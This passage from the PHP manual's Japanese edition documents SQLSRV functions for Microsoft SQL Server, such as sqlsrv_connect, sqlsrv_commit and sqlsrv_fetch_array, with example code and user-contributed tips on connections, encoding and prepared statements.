DriverVer | SQL Server Native Client DLL version (10.5.xxx)
ExtensionVer | php_sqlsrv.dll version (2.0.xxx.x)

例

例1 sqlsrv_client_info() example

<?php
$serverName = "serverName\sqlexpress";
$connOptions = array("UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connOptions );

if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

if( $client_info = sqlsrv_client_info( $conn)) {
    foreach( $client_info as $key => $value) {
        echo $key.": ".$value."<br />";
    }
} else {
    echo "Error in retrieving client info.<br />";
}
?>

参考

  • sqlsrv_server_info() - Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Closes an open connection and releases resourses associated with the connection

  • ≪ sqlsrv_client_info
  • sqlsrv_commit ≫
  • PHP Manual
  • SQLSRV 関数
  • Closes an open connection and releases resourses associated with the connection

sqlsrv_close

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_close — Closes an open connection and releases resourses associated with the connection

説明

sqlsrv_close ( resource $conn ) : bool

Closes an open connection and releases resourses associated with the connection.

パラメータ

conn

The connection to be closed.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_close() example

<?php
$serverName = "serverName\sqlexpres";
$connOptions = array("UID"=>"username", "PWD"=>"password", "Database"=>"dbname");
$conn = sqlsrv_connect( $serverName, $connOptions );
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

//-------------------------------------
// Perform database operations here.
//-------------------------------------

// Close the connection.
sqlsrv_close( $conn );
?>

参考

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction that was begun with sqlsrv_begin_transaction

  • ≪ sqlsrv_close
  • sqlsrv_configure ≫
  • PHP Manual
  • SQLSRV 関数
  • Commits a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_commit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction()

説明

sqlsrv_commit ( resource $conn ) : bool

Commits a transaction that was begun with sqlsrv_begin_transaction(). The connection is returned to auto-commit mode after sqlsrv_commit() is called. The transaction that is committed includes all statements that were executed after the call to sqlsrv_begin_transaction(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and commit/roll back transactions. For more information, see » SQLSRV Transactions.

パラメータ

conn

The connection on which the transaction is to be committed.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_commit() example

The following example demonstrates how to use sqlsrv_commit() together with sqlsrv_begin_transaction() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

参考

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Changes the driver error handling and logging configurations

  • ≪ sqlsrv_commit
  • sqlsrv_connect ≫
  • PHP Manual
  • SQLSRV 関数
  • Changes the driver error handling and logging configurations

sqlsrv_configure

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_configure — Changes the driver error handling and logging configurations

説明

sqlsrv_configure ( string $setting , mixed $value ) : bool

Changes the driver error handling and logging configurations.

パラメータ

setting

The name of the setting to set. The possible values are "WarningsReturnAsErrors", "LogSubsystems", and "LogSeverity".

value

The value of the specified setting. The following table shows possible values:

Error and Logging Setting Options
Setting | Options
WarningsReturnAsErrors | 1 (true) or 0 (false)
LogSubsystems | SQLSRV_LOG_SYSTEM_ALL (-1) SQLSRV_LOG_SYSTEM_CONN (2) SQLSRV_LOG_SYSTEM_INIT (1) SQLSRV_LOG_SYSTEM_OFF (0) SQLSRV_LOG_SYSTEM_STMT (4) SQLSRV_LOG_SYSTEM_UTIL (8)
LogSeverity | SQLSRV_LOG_SEVERITY_ALL (-1) SQLSRV_LOG_SEVERITY_ERROR (1) SQLSRV_LOG_SEVERITY_NOTICE (4) SQLSRV_LOG_SEVERITY_WARNING (2)

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • » SQLSRV Error Handling.
  • » Logging SQLSRV Activity.

User Contributed Notes

smhahmadi 05-Jan-2013 04:23
Performance tip:

Beware of the performance penalty involved with unchecked use of logging options. In my case, although I was using the buffered cursor, sqlsrv_fetch_array was running too slowly. The solution was to remove my lavish use of those configuration options (using both SQLSRV_LOG_SYSTEM_ALL and SQLSRV_LOG_SEVERITY_ALL).


Opens a connection to a Microsoft SQL Server database

  • ≪ sqlsrv_configure
  • sqlsrv_errors ≫
  • PHP Manual
  • SQLSRV 関数
  • Opens a connection to a Microsoft SQL Server database

sqlsrv_connect

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_connect — Opens a connection to a Microsoft SQL Server database

説明

sqlsrv_connect ( string $serverName , array $connectionInfo = ? ) : resource

Opens a connection to a Microsoft SQL Server database. By default, the connection is attempted using Windows Authentication. To connect using SQL Server Authentication, include "UID" and "PWD" in the connection options array.

パラメータ

serverName

The name of the server to which a connection is established. To connect to a specific instance, follow the server name with a backward slash and the instance name (e.g. serverName\sqlexpress).

connectionInfo

An associative array that specifies options for connecting to the server. If values for the UID and PWD keys are not specified, the connection will be attempted using Windows Authentication. For a complete list of supported keys, see » SQLSRV Connection Options.

返り値

A connection resource. If a connection cannot be successfully opened, false is returned.

例

例1 Connect using Windows Authentication.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

例2 Connect by specifying a user name and password.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

例3 Connect on a specified port.

<?php
$serverName = "serverName\\sqlexpress, 1542"; //serverName\instanceName, portNumber (default is 1433)
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

注意

By default, the sqlsrv_connect() uses connection pooling to improve connection performance. To turn off connection pooling (i.e. force a new connection on each call), set the "ConnectionPooling" option in the $connectionOptions array to 0 (or false). For more information, see » SQLSRV Connection Pooling.

The SQLSRV extension does not have a dedicated function for changing which database is connected to. The target database is specified in the $connectionOptions array that is passed to sqlsrv_connect. To change the database on an open connection, execute the following query "USE dbName" (e.g. sqlsrv_query($conn, "USE dbName")).

参考

  • sqlsrv_close() - Closes an open connection and releases resourses associated with the connection
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

Anonymous 20-Jun-2019 06:38
SQL SERVER 2012 conexion in PHP
<?php
    $serverName = "SERVER"; //serverName\instanceName
    $connectionInfo = array( "Database"=>"base", "UID"=>"ex", "PWD"=>"******");
    $conn = sqlsrv_connect( $serverName, $connectionInfo);
;

        if( $conn ) {
             echo "Conexion establecida.<br />";
        }else{
            echo "Conexion no se pudo establecer.<br />";
            die( print_r( sqlsrv_errors(), true));
        }

    $sql = "SELECT name FROM [base].[dbo].[table]";
    $params = array();
    $options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
    $stmt = sqlsrv_query( $conn, $sql , $params, $options );

    $row_count = sqlsrv_num_rows( $stmt );

        if ($row_count === false)
           echo "Error al obtener datos.";
        else
           echo "bien";
        //echo $row_count;

        while( $row = sqlsrv_fetch_array( $stmt) ) {
              print json_encode($row);
        }

    sqlsrv_close($conn);
?>
mmi at uhb-consulting dot de 05-Sep-2018 06:57
to prevent  [Microsoft][ODBC Driver 17 for SQL Server]String data, right truncation Errors on Linux
you must add the Connection Parameter 'CharacterSet' => "UTF-8"

Tested with with Driver Version 5.3
manav at drupal.org/u/manav 23-Jan-2018 10:16
If anybody wants to use
<?php
//..
  sqlsrv_connect();
//..
?> method to Fedora-25 then user have to install PECL php-sqlsrv library to connect ms-sql server remotely in php script.
In my case i found the same issue but after some search i got this solution and implement it.... now it works.
jucabe9979 at hotmail dot com 16-Feb-2017 11:11
What happen if i have a sql_variant data? how can I reed that data?
alvaro at demogracia dot com 08-Sep-2016 09:00
You can use the connectionInfo parameter to specify connection encoding, e.g.:

<?php
$connectionInfo = [
    'CharacterSet' => 'UTF-8',
];
$conn = sqlsrv_connect($serverName, $connectionInfo);
?>

Beware though that only two options exist:
- SQLSRV_ENC_CHAR (constant) for ANSI, which is the default
- 'UTF-8' (string) for Unicode
Eion Robb 07-Oct-2015 03:16
As mentioned at https://msdn.microsoft.com/en-us/library/cc296193.aspx the connection will convert some data into PHP data types.  Of particular difference to other database functions in PHP is that dates will be output as objects instead of strings.

To make the sqlsrv_fetch_{array|object}() functions return dates/times/datetimes as strings instead, specify:
  'ReturnDatesAsStrings' => true
in the $connectionInfo array.

For more info about this behaviour, see https://msdn.microsoft.com/en-us/library/ee376928.aspx
Gilly 30-Sep-2015 12:28
In order to connect using Windows Authentication (on Windows) for Wamp/Xamp installations you should verify that the apache service is running under a user who can connect to SQL Server and not under a local user.


Returns error and warning information about the last SQLSRV operation performed

  • ≪ sqlsrv_connect
  • sqlsrv_execute ≫
  • PHP Manual
  • SQLSRV 関数
  • Returns error and warning information about the last SQLSRV operation performed

sqlsrv_errors

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed

説明

sqlsrv_errors ( int $errorsOrWarnings = ? ) : mixed

Returns error and warning information about the last SQLSRV operation performed.

パラメータ

errorsOrWarnings

Determines whether error information, warning information, or both are returned. If this parameter is not supplied, both error information and warning information are returned. The following are the supported values for this parameter: SQLSRV_ERR_ALL, SQLSRV_ERR_ERRORS, SQLSRV_ERR_WARNINGS.

返り値

If errors and/or warnings occurred on the last sqlsrv operation, an array of arrays containing error information is returned. If no errors and/or warnings occurred on the last sqlsrv operation, null is returned. The following table describes the structure of the returned arrays:

Array returned by sqlsrv_errors
Key | Description
SQLSTATE | For errors that originate from the ODBC driver, the SQLSTATE returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of IMSSP. For warnings that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of 01SSP.
code | For errors that originate from SQL Server, the native SQL Server error code. For errors that originate from the ODBC driver, the error code returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, the Microsoft Drivers for PHP for SQL Server error code.
message | A description of the error.

例

例1 functionname() example

<?php
$serverName = "serverName/sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/* Set up a query to select an invalid column name. */
$sql = "SELECT BadColumnName FROM Table_1";

/* Execution of the query will fail because of the bad column name. */
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false ) {
    if( ($errors = sqlsrv_errors() ) != null) {
        foreach( $errors as $error ) {
            echo "SQLSTATE: ".$error[ 'SQLSTATE']."<br />";
            echo "code: ".$error[ 'code']."<br />";
            echo "message: ".$error[ 'message']."<br />";
        }
    }
}
?>

注意

By default, warnings generated on a call to any SQLSRV function are treated as errors. This means that if a warning occurs on a call to a SQLSRV function, the function returns false. However, warnings that correspond to SQLSTATE values 01000, 01001, 01003, and 01S02 are never treated as errors. For information about changing this behavior, see sqlsrv_configure() and the WarningsReturnAsErrors setting.

参考

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Executes a statement prepared with sqlsrv_prepare

  • ≪ sqlsrv_errors
  • sqlsrv_fetch_array ≫
  • PHP Manual
  • SQLSRV 関数
  • Executes a statement prepared with sqlsrv_prepare

sqlsrv_execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare()

説明

sqlsrv_execute ( resource $stmt ) : bool

Executes a statement prepared with sqlsrv_prepare(). This function is ideal for executing a prepared statement multiple times with different parameter values.

パラメータ

stmt

A statement resource returned by sqlsrv_prepare().

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_execute() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

注意

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

参考

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

esundberg at nitelusa dot com 08-Mar-2020 06:22
Working PDO Prepare and Execute Example

Code
----------------------------------------
print "<h1>PDO Example</h1>";

print "<h2>PDO Connection</h2>";
try {
    $pdo = new PDO("sqlsrv:server=$sql_server;Database=$sql_database",$sql_username,$sql_password,['ReturnDatesAsStrings'=>true]);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    echo "Connection failed: " . $e->getMessage();
    die("Database Connection Error");

}

print "<h2>Check for PDO Connection</h2>";
if($pdo === false) {
    print "No DB Connection<br>";
} else {
    print "Good DB Connection<br>";
}

print "<h2>PDO Query Example 1 with SQL Injection</h2>";
print "I Personally prefer pdo due to binding of paramaters by name.<br>";
$sql = "SELECT username, active FROM users WHERE username = :username";
print "SQL: $sql\n";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $username);
$stmt->execute();
while($r = $stmt->fetch(PDO::FETCH_OBJ)) {
    print_r($r);
}

------------------------------------------------------
PDO Example
PDO Connection
Check for PDO Connection
Good DB Connection
PDO Query Example 1 with SQL Injection
I Personally prefer pdo due to binding of paramaters by name.
SQL: SELECT username, active FROM users WHERE username = :username
stdClass Object
(
    [username] => admin
    [active] => 1
)
vavra at 602 dot cz 17-Jan-2018 08:48
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
tuxedobob 01-Mar-2016 04:53
If you're used to working with sqlsrv_query, you're probably used to the following flow:

<?php
$query = "SELECT * FROM mytable WHERE id=?";
$result = sqlsrv_query($conn, $query, array($myID));
$row = sqlsrv_fetch_array($result);
?>

Given that, you might think the following works:

<?php
$myID = 0;
$query = "SELECT * FROM mytable WHERE id=?";
$stmt = sqlsrv_prepare($conn, $query, array(&$myID));
$result = sqlsrv_execute($stmt);
$row = sqlsrv_fetch_array($result);
?>

It doesn't. The reason is that sqlsrv_execute, as noted above, returns true or false on success or failure, respectively. The variable that has your result is actually $stmt. Change the last row to

<?php
$row = sqlsrv_fetch_array($stmt);
?>

and it works as expected.


行を配列として返す

  • ≪ sqlsrv_execute
  • sqlsrv_fetch_object ≫
  • PHP Manual
  • SQLSRV 関数
  • 行を配列として返す

sqlsrv_fetch_array

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_fetch_array — 行を配列として返す

説明

sqlsrv_fetch_array ( resource $stmt , int $fetchType = ? , int $row = ? , int $offset = ? ) : array

クエリ結果から列データを順に返します。列データの型は連想配列、配列、またはその両方(デフォルト)を選択できます。

パラメータ

stmt

sqlsrv_query あるいは sqlsrv_prepare が返すステートメントリソース。

fetchType

返り値の型を指定します。連想配列SQLSRV_FETCH_ASSOC, 配列SQLSRV_FETCH_NUMERIC, and 連想配列と配列の両方SQLSRV_FETCH_BOTH (デフォルト) のうち1つを指定します。

SQLSRV_FETCH_ASSOC(連想配列)は同じ名前の列が複数存在する結果セットを扱う際に使ってはいけません(連想配列のキーが重複するため)。

row

スクロール可能なカーソルを用いた結果セットから、取得する列を指定します。 定義済み定数は、 SQLSRV_SCROLL_NEXT(次の列), SQLSRV_SCROLL_PRIOR(前の列), SQLSRV_SCROLL_FIRST(最初の列), SQLSRV_SCROLL_LAST(最後の列), SQLSRV_SCROLL_ABSOLUTE(列番号の絶対指定) and, SQLSRV_SCROLL_RELATIVE(列番号の相対指定) (デフォルト値). この引数を指定する場合は、fetchType を指定しなくてはなりません。

offset

引数rowに SQLSRV_SCROLL_ABSOLUTE または SQLSRV_SCROLL_RELATIVE を指定する際に、この引数で取得する列を指定します。 列番号は0から始まります。

返り値

成功時に配列を返します。 返す列がない場合はnull を返します。エラーが起きた場合は falseを返します。

例

例1 連想配列を扱う場合の例

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
      echo $row['LastName'].", ".$row['FirstName']."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

例2 配列を扱う場合の例

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
      echo $row[0].", ".$row[1]."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

注意

上の例で fetchType の指定を省略したり、定数 SQLSRV_FETCH_TYPE を明示的に指定した場合は、 連想配列と数値添字の両方のキーを含む配列を返します。

同じ名前のカラムが複数存在する場合は、最後に現れたカラムがそれまでのすべてを上書きします。 名前の衝突を回避するには、別名を指定しましょう。

無名のカラムが返された場合、連想配列のキーは空文字列("")になります。

参考

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database
  • sqlsrv_query() - Prepares and executes a query
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_fetch() - Makes the next row in a result set available for reading

User Contributed Notes

albornozg dot rene at gmail dot com 06-Nov-2018 04:43
Example with an iteration ( SQLSRV_SCROLL_ABSOLUTE ).

for ($i=0; $i < sqlsrv_num_rows($stmt); $i++) {

     $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC,   SQLSRV_SCROLL_ABSOLUTE   ,  $i  );
     echo "value of column 1: '.trim($row[0]).', value of column 2: '.trim($row[1]);

}
dlyasaitov184 at yandex dot ru 10-Aug-2017 09:55
When I try to  use SQLSRV_FETCH_BOTH for SQL-statement   about "select ... from [viewName]" result set contained superfluous fields( duplicates and other fields from joined tables).  Other types of fetchType work correctly.
Anonymous 03-Apr-2014 07:15
Note that while the docs say to avoid SQLSRV_FETCH_ASSOC when dealing with result sets where multiple fields have the same name, there are cases when this is perfectly valid to do.

Consider the following query:

SELECT * FROM a INNER JOIN b ON a.id = b.id

For any row, if you fetch NUMERIC you'll get a field for both a.id and b.id, which probably isn't very useful.

If you fetch ASSOC, you'll get one field for "id", and given that it's always the same in both tables (because your query insists it is so), you're not at risk of losing anything.

If you're generating output based on an unknown number of fields, the ASSOC behavior might be preferred.


Retrieves the next row of data in a result set as an object

  • ≪ sqlsrv_fetch_array
  • sqlsrv_fetch ≫
  • PHP Manual
  • SQLSRV 関数
  • Retrieves the next row of data in a result set as an object

sqlsrv_fetch_object

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object

説明

sqlsrv_fetch_object ( resource $stmt , string $className = ? , array $ctorParams = ? , int $row = ? , int $offset = ? ) : mixed

Retrieves the next row of data in a result set as an instance of the specified class with properties that match the row field names and values that correspond to the row field values.

パラメータ

stmt

A statement resource created by sqlsrv_query() or sqlsrv_execute().

className

The name of the class to instantiate. If no class name is specified, stdClass is instantiated.

ctorParams

Values passed to the constructor of the specified class. If the constructor of the specified class takes parameters, the ctorParams array must be supplied.

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

返り値

Returns an object on success, null if there are no more rows to return, and false if an error occurs or if the specified class does not exist.

例

例1 sqlsrv_fetch_object() example

The following example demonstrates how to retrieve a row as a stdClass object.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT fName, lName FROM Table_1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Retrieve each row as an object.
// Because no class is specified, each row will be retrieved as a stdClass object.
// Property names correspond to field names.
while( $obj = sqlsrv_fetch_object( $stmt)) {
      echo $obj->fName.", ".$obj->lName."<br />";
}
?>

注意

If a class name is specified with the optional $className parameter and the class has properties whose names match the result set field names, the corresponding result set values are applied to the properties. If a result set field name does not match a class property, a property with the result set field name is added to the object and the result set value is applied to the property. The following rules apply when using the $className parameter:

  • Field-property name matching is case-sensitive.
  • Field-property matching occurs regardless of access modifiers.
  • Class property data types are ignored when applying a field value to a property.
  • If the class does not exist, the function returns false and adds an error to the error collection.
Regardless of whether the $className parameter is supplied, if a field with no name is returned, the field value will be ignored and a warning will be added to the error collection.

When consuming a result set that has multiple columns with the same name, it may be better to use sqlsrv_fetch_array() or the combination of sqlsrv_fetch() and sqlsrv_get_field().

参考

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - 行を配列として返す

User Contributed Notes

There are no user contributed notes for this page.


Makes the next row in a result set available for reading

  • ≪ sqlsrv_fetch_object
  • sqlsrv_field_metadata ≫
  • PHP Manual
  • SQLSRV 関数
  • Makes the next row in a result set available for reading

sqlsrv_fetch

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_fetch — Makes the next row in a result set available for reading

説明

sqlsrv_fetch ( resource $stmt , int $row = ? , int $offset = ? ) : mixed

Makes the next row in a result set available for reading. Use sqlsrv_get_field() to read the fields of the row.

パラメータ

stmt

A statement resource created by executing sqlsrv_query() or sqlsrv_execute().

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

返り値

Returns true if the next row of a result set was successfully retrieved, false if an error occurs, and null if there are no more rows in the result set.

例

例1 sqlsrv_fetch() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indices start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

参考

  • sqlsrv_get_field() - Gets field data from the currently selected row
  • sqlsrv_fetch_array() - 行を配列として返す
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

  • ≪ sqlsrv_fetch
  • sqlsrv_free_stmt ≫
  • PHP Manual
  • SQLSRV 関数
  • Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

sqlsrv_field_metadata

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query()

説明

sqlsrv_field_metadata ( resource $stmt ) : mixed

Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query(). sqlsrv_field_metadata() can be called on a statement before or after statement execution.

パラメータ

stmt

The statement resource for which metadata is returned.

返り値

Returns an array of arrays on success. Otherwise, false is returned. Each returned array is described by the following table:

Array returned by sqlsrv_field_metadata
Key | Description
Name | The name of the field.
Type | The numeric value for the SQL type.
Size | The number of characters for fields of character type, the number of bytes for fields of binary type, or null for other types.
Precision | The precision for types of variable precision, null for other types.
Scale | The scale for types of variable scale, null for other types.
Nullable | An enumeration indicating whether the column is nullable, not nullable, or if it is not known.
For more information, see » sqlsrv_field_metadata in the Microsoft SQLSRV documentation.

例

例1 sqlsrv_field_metadata() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"AdventureWorks", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_prepare( $conn, $sql );

foreach( sqlsrv_field_metadata( $stmt ) as $fieldMetadata ) {
    foreach( $fieldMetadata as $name => $value) {
       echo "$name: $value<br />";
    }
